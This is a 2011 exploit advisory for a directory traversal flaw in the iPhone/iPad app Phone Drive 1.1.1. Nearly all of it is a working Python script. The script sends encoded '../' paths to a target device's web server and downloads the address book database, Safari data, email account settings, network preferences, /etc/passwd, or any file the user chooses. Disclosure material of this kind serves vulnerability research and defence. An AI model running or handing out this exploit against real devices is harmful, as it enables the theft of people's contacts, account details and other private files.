iPhone/iPad Phone Drive 1.1.1 Directory Traversal

Published: 2011-08-09 CVE: N/A OSVDB-ID: N/A
  1. #!/usr/bin/python
  2. #----------------------------------------------------------------
  3. #Software : iPhone/iPad Phone Drive 1.1.1
  4. #Type of vulnerability : Directory Traversal
  5. #Tested On : iPhone 4 (IOS 4.3.3/Jailbroken)
  6. #----------------------------------------------------------------
  7. #Program Developer : http://ax.itunes.apple.com/app/id431033044?mt=8
  8. #----------------------------------------------------------------
  9. #Discovered by : Khashayar Fereidani
  10. #Team Website : Http://IRCRASH.COM
  11. #English Forums : Http://IRCRASH.COM/forums/
  12. #Team Members : Khashayar Fereidani , Arash Allebrahim
  13. #Email : irancrash [ a t ] gmail [ d o t ] com
  14. #Facebook : http://facebook.com/fereidani
  15. #Twitter : http://twitter.com/ircrash
  16. #----------------------------------------------------------------
  17. import urllib2
  18. def urlread(url,file):
  19.     url = url+"/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f"+file
  20.     u = urllib2.urlopen(url)
  21.     localFile = open('result.html', 'w')
  22.     localFile.write(u.read())
  23.     localFile.close()
  24.     print "file saved as result.html\nIRCRASH.COM 2011"
  25. print "----------------------------------------\n- iPhone/iPad Phone Drive 1.1.1 DT     -\n- Discovered by : Khashayar Fereidani  -\n- http://ircrash.com/                  -\n----------------------------------------"
  26. url = raw_input("Enter Address ( Ex. : http://192.168.1.101:8080 ):")
  27. f = ["","/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb","/private/var/mobile/Library/Safari","/private/var/mobile/Library/Preferences/com.apple.accountsettings.plist","/private/var/mobile/Library/Preferences/com.apple.conference.plist","/etc/passwd"]
  28. print f[1]
  29. id = int(raw_input("1 : Phone Book\n2 : Safari Fav\n3 : Users Email Info\n4 : Network Informations\n5 : Passwd File\n6 : Manual File Selection\n Enter ID:"))
  30. if not('http:' in url):
  31.     url='http://'+url
  32. if ((id>0) and (id<6)):
  33.     file=f[id]
  34.     urlread(url,file)
  35. if (id==6):
  36.     file=raw_input("Enter Local File Address : ")
  37.     urlread(url,file)
  38.  

Other Refrences

EXPLOIT-DB Advistory : http://www.exploit-db.com/exploits/17645/